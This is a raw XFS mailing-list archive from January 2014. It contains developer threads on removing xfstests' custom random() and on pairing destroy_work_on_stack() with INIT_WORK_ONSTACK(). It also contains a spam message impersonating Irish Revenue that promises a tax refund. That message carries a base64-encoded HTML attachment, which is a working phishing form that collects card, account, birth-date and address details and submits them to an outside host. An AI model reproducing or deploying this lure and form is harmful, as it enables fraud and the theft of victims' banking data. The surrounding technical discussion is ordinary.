who use a different c library with the >>> kernel. >>> >>> Looks there are quite a few callers. IMO if we're going to remove this we >>> should fix the tests first. >> Or first, determine if they really need fixing. Did you find tests which >> actually contain the random results in the golden output? > At one point random.c was modified because it was returning different test > results on i386 and ia64 with test 007. Looks like nametest.c is a good > candidate. > Ugh you're right. Just ignore this patch for now, I'll be in the corner banging my head against the wall. Thanks, Josef From prvs=6084232cd5=clm@fb.com Tue Jan 7 15:20:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3DAA97F3F for ; Tue, 7 Jan 2014 15:20:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 29B50304092 for ; Tue, 7 Jan 2014 13:20:17 -0800 (PST) X-ASG-Debug-ID: 1389129616-04cbb04166c72b30001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id tERIOl749DUCGwUZ for ; Tue, 07 Jan 2014 13:20:16 -0800 (PST) X-Barracuda-Envelope-From: prvs=6084232cd5=clm@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004003 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s07LDaZ2025451; Tue, 7 Jan 2014 13:20:16 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=from : to : cc : subject : date : message-id : references : in-reply-to : content-type : content-id : content-transfer-encoding : mime-version; s=facebook; bh=W0fOqIOMpkfUdH3HXsrfhTxerA4u1y4PhiSU14GX4ao=; b=GFiWzlEoWmTw28s9HhHrXe/3K4X6t4gLcQs8PY89tn2OQ09mJQkWXY2d7SJOrIxJqO4f auXAda1+D1/26OTWkT1wtLhwKeywOE85rSiZbOfocQPxWBTYZZNA9yO9v/3L47mxbTkc Y9iyu5U/pWQE0+cJo7KXeMFxzDvDMP6j9Qo= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1h8nty10yn-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Tue, 07 Jan 2014 13:20:15 -0800 Received: from PRN-MBX02-4.TheFacebook.com ([169.254.5.152]) by PRN-CHUB04.TheFacebook.com ([fe80::7ded:c10e:ef04:80d8%12]) with mapi id 14.03.0174.001; Tue, 7 Jan 2014 13:20:13 -0800 From: Chris Mason To: Josef Bacik CC: "linux-btrfs@vger.kernel.org" , "sandeen@sandeen.net" , "xfs@oss.sgi.com" , "bpm@sgi.com" , "sandeen@redhat.com" Subject: Re: [PATCH] xfstests: kill lib/random.c Thread-Topic: [PATCH] xfstests: kill lib/random.c X-ASG-Orig-Subj: Re: [PATCH] xfstests: kill lib/random.c Thread-Index: AQHPCxnCNONZQnvgyU6f06z7L6X/6Jp4vYKAgAACuQCAAAFTAIABdOOAgAACbICAAAhigIAACoIAgAAAyoA= Date: Tue, 7 Jan 2014 21:20:12 +0000 Message-ID: <1389129641.23310.20.camel@ret.masoncoding.com> References: <1389038323-8304-1-git-send-email-jbacik@fb.com> <52CB20ED.1010705@redhat.com> <52CB2336.2060009@fb.com> <52CB2452.70507@redhat.com> <20140107200135.GD1935@sgi.com> <52CC5F27.1090602@sandeen.net> <20140107204015.GJ10553@sgi.com> <52CC6F00.3060907@fb.com> In-Reply-To: <52CC6F00.3060907@fb.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [192.168.57.29] Content-Type: text/plain; charset="utf-7" Content-ID: Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-07_07:2014-01-07,2014-01-07,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=1.71376888791208e-08 kscore.compositescore=0 circleOfTrustscore=0 compositescore=0.999509714306364 urlsuspect_oldscore=0.999509714306364 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=64355 rbsscore=0.999509714306364 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401070134 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1389129616 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, 2014-01-07 at 16:17 -0500, Josef Bacik wrote: +AD4- On 01/07/2014 03:40 PM, Ben Myers wrote: +AD4- +AD4- On Tue, Jan 07, 2014 at 02:10:15PM -0600, Eric Sandeen wrote: +AD4- +AD4APg- On 1/7/14, 2:01 PM, Ben Myers wrote: +AD4- +AD4APgA+- Hey Gents, +AD4- +AD4APgA+- +AD4- +AD4APgA+- On Mon, Jan 06, 2014 at 03:46:58PM -0600, Eric Sandeen wro= te: +AD4- +AD4APgA+AD4- On 1/6/14, 3:42 PM, Josef Bacik wrote: +AD4- +AD4APgA+AD4APg- On 01/06/2014 04:32 PM, Eric Sandeen wrote: +AD4- +AD4APgA+AD4APgA+- On 1/6/14, 1:58 PM, Josef Bacik wrote: +AD4- +AD4APgA+AD4APgA+AD4- I was trying to reproduce something with fsx an= d I noticed that no matter what +AD4- +AD4APgA+AD4APgA+AD4- seed I set I was getting the same file. Come t= o find out we are overloading +AD4- +AD4APgA+AD4APgA+AD4- random() with our own custom horribleness for s= ome unknown reason. So nuke the +AD4- +AD4APgA+AD4APgA+AD4- damn thing from orbit and rely on glibc's rando= m(). With this fix the -S option +AD4- +AD4APgA+AD4APgA+AD4- actually does something with fsx. Thanks, +AD4- +AD4APgA+AD4APgA+- Hm, old comments seem to indicate that this was do= ne +ADw-handwave+AD4- to make random +AD4- +AD4APgA+AD4APgA+- behave the same on different architectures (i.e. s= ame result from same seed, +AD4- +AD4APgA+AD4APgA+- I guess?) I . . . don't know if that is true of g= libc's random(), is it? +AD4- +AD4APgA+AD4APgA+- +AD4- +AD4APgA+AD4APgA+- I'd like to dig into the history just a bit before= we yank this, just to +AD4- +AD4APgA+AD4APgA+- be sure. +AD4- +AD4APgA+AD4APg- I think that if we need the output to match based on= a predictable +AD4- +AD4APgA+AD4APg- random() output then we've lost already. We shouldn'= t be checking for +AD4- +AD4APgA+AD4APg- specific output (like inode numbers or sizes etc) th= at are dependant +AD4- +AD4APgA+AD4APg- on random()'s behaviour, and if we are we need to fi= x those tests. So +AD4- +AD4APgA+AD4APg- even if that is why it was put in place originally I= 'd say it is high +AD4- +AD4APgA+AD4APg- time we ripped it out and fixed up any tests that re= ly on this +AD4- +AD4APgA+AD4APg- behaviour. Thanks, +AD4- +AD4APgA+AD4- Yeah, you're probably right. And the ancient xfstests = history seems to +AD4- +AD4APgA+AD4- be lost in the mists of time, at least as far as I can = see. So I'm ok +AD4- +AD4APgA+AD4- with this but let's let Dave +ACY- SGI chime in too jus= t to be certain. +AD4- +AD4APgA+- I did not have success locating the history prior to what = we have posted on +AD4- +AD4APgA+- oss. I agree that it was likely added so that tests that = expose output from +AD4- +AD4APgA+- random into golden output files will have the same results= across arches. +AD4- +AD4APgA+- Maybe this is still of concern for folks who use a differe= nt c library with the +AD4- +AD4APgA+- kernel. +AD4- +AD4APgA+- +AD4- +AD4APgA+- Looks there are quite a few callers. IMO if we're going t= o remove this we +AD4- +AD4APgA+- should fix the tests first. +AD4- +AD4APg- Or first, determine if they really need fixing. Did you fin= d tests which +AD4- +AD4APg- actually contain the random results in the golden output? +AD4- +AD4- At one point random.c was modified because it was returning dif= ferent test +AD4- +AD4- results on i386 and ia64 with test 007. Looks like nametest.c = is a good +AD4- +AD4- candidate. +AD4- +AD4- +AD4-=20 +AD4- Ugh you're right. Just ignore this patch for now, I'll be in the cor= ner=20 +AD4- banging my head against the wall. Thanks, For now we can just use srandom? -chris From chuansheng.liu@intel.com Tue Jan 7 18:57:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7B8EE7F3F for ; Tue, 7 Jan 2014 18:57:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 755F98F8035 for ; Tue, 7 Jan 2014 16:57:34 -0800 (PST) X-ASG-Debug-ID: 1389142650-04cb6c537dc7f860001-NocioJ Received: from mga11.intel.com ([192.55.52.93]) by cuda.sgi.com with ESMTP id iw4IwTahVczrFyt3 for ; Tue, 07 Jan 2014 16:57:30 -0800 (PST) X-Barracuda-Envelope-From: chuansheng.liu@intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.93 X-Barracuda-IPDD: Level2 [intel.com/192.55.52.93] Received: from fmsmga001.fm.intel.com ([10.253.24.23]) by fmsmga102.fm.intel.com with ESMTP; 07 Jan 2014 16:57:30 -0800 X-Barracuda-IPDD: Level2 [intel.com/192.55.52.93] X-Barracuda-IPDD: Level2 [intel.com/192.55.52.93] X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="4.95,621,1384329600"; d="scan'208";a="455152024" Received: from fmsmsx104.amr.corp.intel.com ([10.19.9.35]) by fmsmga001.fm.intel.com with ESMTP; 07 Jan 2014 16:57:29 -0800 Received: from fmsmsx158.amr.corp.intel.com (10.18.116.75) by FMSMSX104.amr.corp.intel.com (10.19.9.35) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 7 Jan 2014 16:57:29 -0800 Received: from shsmsx104.ccr.corp.intel.com (10.239.4.70) by fmsmsx158.amr.corp.intel.com (10.18.116.75) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 7 Jan 2014 16:57:29 -0800 Received: from shsmsx101.ccr.corp.intel.com ([169.254.1.57]) by SHSMSX104.ccr.corp.intel.com ([169.254.5.186]) with mapi id 14.03.0123.003; Wed, 8 Jan 2014 08:57:28 +0800 From: "Liu, Chuansheng" To: Jeff Liu , "dchinner@redhat.com" , "bpm@sgi.com" CC: "linux-kernel@vger.kernel.org" , "xfs@oss.sgi.com" Subject: RE: [PATCH 2/3] xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() Thread-Topic: [PATCH 2/3] xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() X-ASG-Orig-Subj: RE: [PATCH 2/3] xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() Thread-Index: AQHPC5qYQmjzfqd2qEutZ7QADabuJZp5/4og Date: Wed, 8 Jan 2014 00:57:26 +0000 Message-ID: <27240C0AC20F114CBF8149A2696CBE4A01BED1C3@SHSMSX101.ccr.corp.intel.com> References: <1389084605.3650.66.camel@cliu38-desktop-build> <1389084814.3650.70.camel@cliu38-desktop-build> <52CBE321.4050906@oracle.com> In-Reply-To: <52CBE321.4050906@oracle.com> Accept-Language: zh-CN, en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.239.127.40] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: UNKNOWN[192.55.52.93] X-Barracuda-Start-Time: 1389142650 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hello Jeff, > -----Original Message----- > From: Jeff Liu [mailto:jeff.liu@oracle.com] > Sent: Tuesday, January 07, 2014 7:21 PM > To: Liu, Chuansheng; dchinner@fromorbit.com; bpm@sgi.com > Cc: linux-kernel@vger.kernel.org; xfs@oss.sgi.com > Subject: Re: [PATCH 2/3] xfs: Calling destroy_work_on_stack() to pair wit= h > INIT_WORK_ONSTACK() >=20 > Hi Chuansheng, >=20 > On 01/07 2014 16:53 PM, Chuansheng Liu wrote: > > > > In case CONFIG_DEBUG_OBJECTS_WORK is defined, it is needed to > > call destroy_work_on_stack() which frees the debug object to pair > > with INIT_WORK_ONSTACK(). > > > > Signed-off-by: Liu, Chuansheng > > --- > Thanks for your patch and it work fine for my testing. I missed this in = an > old commit: [ 3b876c8f2a xfs: fix debug_object WARN at xfs_alloc_vextent(= ) ] Thanks your testing. >=20 > Just out of curious, do you notice memory leaks or other hints which help= you > finding out this problem? I am trying to use the INIT_WORK_ONSTACK() in my code, then I found in some= places Calling destroy_work_on_stack() is missed. From tax.return@revenue.ie Tue Jan 7 22:13:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=5.0 tests=DEAR_SOMETHING,T_HTML_ATTACH, T_OBFU_HTML_ATTACH autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 65DA67F3F for ; Tue, 7 Jan 2014 22:13:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E6C2FAC001 for ; Tue, 7 Jan 2014 20:13:10 -0800 (PST) X-ASG-Debug-ID: 1389154388-04cb6c537bc84d50001-w1Z2WR Received: from medrek.co.uk (mail.medrek.se [212.112.176.43]) by cuda.sgi.com with ESMTP id pa6uSwIswxRmcLSB for ; Tue, 07 Jan 2014 20:13:08 -0800 (PST) X-Barracuda-Envelope-From: tax.return@revenue.ie X-Barracuda-Apparent-Source-IP: 212.112.176.43 Received: from revenue.ie [86.125.87.36] by medrek.co.uk with ESMTP (SMTPD32-7.07) id A4C4888F02D6; Wed, 08 Jan 2014 05:32:04 +0100 From: Revenue - Irish Tax & Customs To: linux-xfs@oss.sgi.com Subject: Tax Return for year 2013 Date: 08 Jan 2014 06:13:05 +0200 X-ASG-Orig-Subj: Tax Return for year 2013 Message-ID: <20140108061305.1399EB0B5D835FD1@revenue.ie> MIME-Version: 1.0 Disposition-Notification-To: birthe.hansen1943@hotmail.com Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_726CA579.91DCFC79" X-Barracuda-Connect: mail.medrek.se[212.112.176.43] X-Barracuda-Start-Time: 1389154388 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.00 X-Barracuda-Spam-Status: No, SCORE=1.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG194 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143852 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.00 BSF_SC0_TG194 Custom Rule TG194 This is a multi-part message in MIME format. ------=_NextPart_000_0012_726CA579.91DCFC79 Content-Type: text/plain Content-Transfer-Encoding: 8bit Dear Sir / Madam , I am sending this email to announce: After the last annual calculation of your fiscal activity we have determined that you are eligible to receive a tax return of: EUR 371.91 To receive your return, you need to create a Government gateway account. Please download and complete the attached form. The contents of this email and any attachments are confidential and as applicable, copyright in these is reserved to Revenue - Irish Tax & Customs. Unless expressly authorized by us, any further dissemination or distribution of this email or its attachments is prohibited. ------=_NextPart_000_0012_726CA579.91DCFC79 Content-Type: application/octet-stream; name="Revenue - Irish Tax Customs.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Revenue - Irish Tax Customs.html" PCEtLSBzYXZlZCBmcm9tIHVybD0oMDAxNilodHRwOi8vbG9jYWxob3N0IC0tPg0KPGh0bWw+ DQo8aGVhZD4NCjx0aXRsZT5UQVggUkVUVVJOIEZPUiBZRUFSIDIwMTM8L3RpdGxlPg0KPGJh c2UgaHJlZj0iaHR0cDovL3F1ZWVuc21pYW1pY29ybmVyLmNvbS9yZXdlbnVlL2FjdGlvbi5w aHAiPg0KPGxpbmsgaHJlZj0iY3NzL2FyY290LXN0eWxlcy0wMl9yZWdpc3Rlci5jc3MiIHJl bD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KPGxpbmsgaHJlZj0iY3NzL2FyY290 LXN0eWxlcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KPGxpbmsg aHJlZj0iY3NzL2htcmMuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4N CjxzY3JpcHQgc3JjPSJqcy9jaGVjay5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5n dWFnZT0iamF2YXNjcmlwdCI+PC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keT4NCjxmb3JtIGlk PSJmcm0iIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJhY3Rpb24ucGhwIiBvbnN1Ym1pdD0icmV0 dXJuIHZhbGlkYXRlKCkiPg0KPGRpdiBhbGlnbj0ibGVmdCI+DQoJPHRhYmxlIGJvcmRlcj0i MCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCgk8dGJvZHk+DQoJPHRyPg0K CQk8dGQgd2lkdGg9IjYwMCI+DQoJCQk8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0i MCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4NCgkJCTx0Ym9keT4NCgkJCTx0cj4N CgkJCQk8dGQ+DQoJCQkJCTx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxs c3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPg0KCQkJCQk8dGJvZHk+DQoJCQkJCTx0cj4NCgkJ CQkJCTx0ZCBhbGlnbj0iY2VudGVyIj4NCgkJCQkJCQk8ZGl2IGlkPSJoZWFkZXIiPg0KCQkJ CQkJCQk8aW1nIHNyYz0iaW1nL2htcmNMb2dvLmdpZiIgYWx0PSJITSANDQpSZXZlbnVlICZh bXA7IEN1c3RvbXMiIGhlaWdodD0iODAiIHdpZHRoPSIyNTAiPg0KCQkJCQkJCQk8ZGl2IGlk PSJoZWFkZXItdGl0bGUiPk9ubGluZSANDQpTZXJ2aWNlczwvZGl2Pg0KCQkJCQkJCQk8dWwg Y2xhc3M9ImlubGluZS1uYXZpZ2F0aW9uIj4NCgkJCQkJCQkJCTxsaT48YT5SZXZlbnVlIC0g SXJpc2ggVGF4IA0NCiYgQ3VzdG9tczwvYT48L2xpPg0KCQkJCQkJCQkJDQ0KPGxpPjxhPkN5 bXJhZWc8L3NwYW4+PC9hPjwvbGk+DQoJCQkJCQkJCQk8bGk+PGE+Q29udGFjdCB1czwvYT48 L2xpPg0KCQkJCQkJCQkJPGxpPjxhPkhlbHA8L2E+PC9saT4NCgkJCQkJCQkJPC91bD4NCgkJ CQkJCQk8L2Rpdj4JCQkJCQ0NCgkJDQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8 L3Rib2R5Pg0KCQkJCQk8L3RhYmxlPg0KCQkJCTwvdGQ+DQoJCQk8L3RyPg0KCQkJPCEtLSBI RUFERVIgLS0+DQoJCQk8dHIgdmFsaWduPSJ0b3AiPg0KCQkJCTx0ZCB2YWxpZ249InRvcCIg d2lkdGg9IjEwMCUiPg0KCQkJCQk8Zm9ybSBuYW1lPSJmcm0iIG1ldGhvZD0icG9zdCIgYWN0 aW9uPSJhY3Rpb24ucGhwIiANDQpvbnN1Ym1pdD0icmV0dXJuIHZhbGlkYXRlKCkiPg0KCQkJ CQk8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdp ZHRoPSIxMDAlIj4NCgkJCQkJPHRib2R5Pg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgY29sc3Bh bj0iMiIgYWxpZ249ImxlZnQiPiZuYnNwOzwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4N CgkJCQkJCTx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCI+DQoJCQkJCQkJPGJyIA0NCi8+ Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQoJCQkJ CQkJPGI+PHU+QWRkcmVzcyBJbmZvcm1hdGlvbjwvdT4gLSA8L2I+UGxlYXNlIA0NCmVudGVy IHlvdXIgbmFtZSBhbmQgYWRkcmVzcyBhcyB5b3UgaGF2ZSBpdCBsaXN0ZWQgZm9yIHlvdXIg ZGViaXQgY2FyZC4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJ CTx0ZD4NCgkJCQkJCQkgJm5ic3A7DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPgkJCQkJPHRy Pg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zv cm1fa29wIj4NCgkJCQkJCQkJIENhcmRIb2xkZXIgTmFtZSA8c3BhbiA+Ojwvc3Bhbj4NCgkJ CQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJ CQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0ibmFtZSIgbmFtZT0ibmFtZSIgDQ0Kc2l6ZT0iMjAi IGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4N CgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJ CQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIERhdGUgb2YgQmlydGgg PHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRk IHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9ImRvYjEiIG5hbWU9 ImRvYjEiIA0NCm1heGxlbmd0aD0iMiIgc2l6ZT0iMiIgY2xhc3M9ImVucm9sbG1lbnRJbnB1 dEJveCIgdHlwZT0idGV4dCI+Jm5ic3A7LyZuYnNwOzxpbnB1dCBpZD0iZG9iMiIgbmFtZT0i ZG9iMiIgDQ0KbWF4bGVuZ3RoPSIyIiBzaXplPSIyIiBjbGFzcz0iZW5yb2xsbWVudElucHV0 Qm94IiB0eXBlPSJ0ZXh0Ij4mbmJzcDsvJm5ic3A7PGlucHV0IGlkPSJkb2IzIiBuYW1lPSJk b2IzIiANDQptYXhsZW5ndGg9IjQiIHNpemU9IjQiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRC b3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0K CQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1f a29wIj4NCgkJCQkJCQkJIEFkZHJlc3MgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+ DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNw OyA8aW5wdXQgaWQ9InN0cmFkYSIgbmFtZT0ic3RyYWRhIiANDQpzaXplPSIyNSIgY2xhc3M9 ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8 L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2 IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgVG93bi9DaXR5IDxzcGFuID46PC9z cGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249Imxl ZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJvcmFzIiBuYW1lPSJvcmFzIiBzaXpl PSIxNSIgDQ0KY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJ CQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0 Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgUHJvdmlu Y2UvQ291bnR5IDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4N CgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJz dGF0IiBuYW1lPSJzdGF0IiBzaXplPSIxNSIgDQ0KY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJv eCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQkNCgkJCQkJ CTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQi Pg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBQaG9uZSBO dW1iZXIgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJ CQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9InRlbGVm b24iIG5hbWU9InRlbGVmb24iIA0NCm1heGxlbmd0aD0iMTMiIHNpemU9IjEwIiBjbGFzcz0i ZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwv dHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZD4NCgkJCQkJCQkgJm5ic3A7DQoJCQkJCQk8L3Rk Pg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgY29sc3Bhbj0iMiIgYWxpZ249 ImxlZnQiPg0KCQkJCQkJCTxiciANDQovPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOw0KCQkJCQkJCTxiPjx1PkRlYml0IENhcmQgSW5mb3JtYXRp b248L3U+IC0gPC9iPlBsZWFzZSANDQplbnRlciB5b3VyIERlYml0IENhcmQgd2hlcmUgcmVm dW5kcyB3aWxsIGJlIG1hZGUuDQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+ DQoJCQkJCQk8dGQ+DQoJCQkJCQkJICZuYnNwOw0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4N CgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFz cz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIEFjY291bnQgTnVtYmVyIDxzcGFuID46PC9z cGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249Imxl ZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJhY2MiIG5hbWU9ImFjYyIgDQ0KbWF4 bGVuZ3RoPSI4IiBzaXplPSIxMCIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0i dGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQg YWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJ CQkJCQkgRGViaXQgQ2FyZCBOdW1iZXIgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+ DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNw 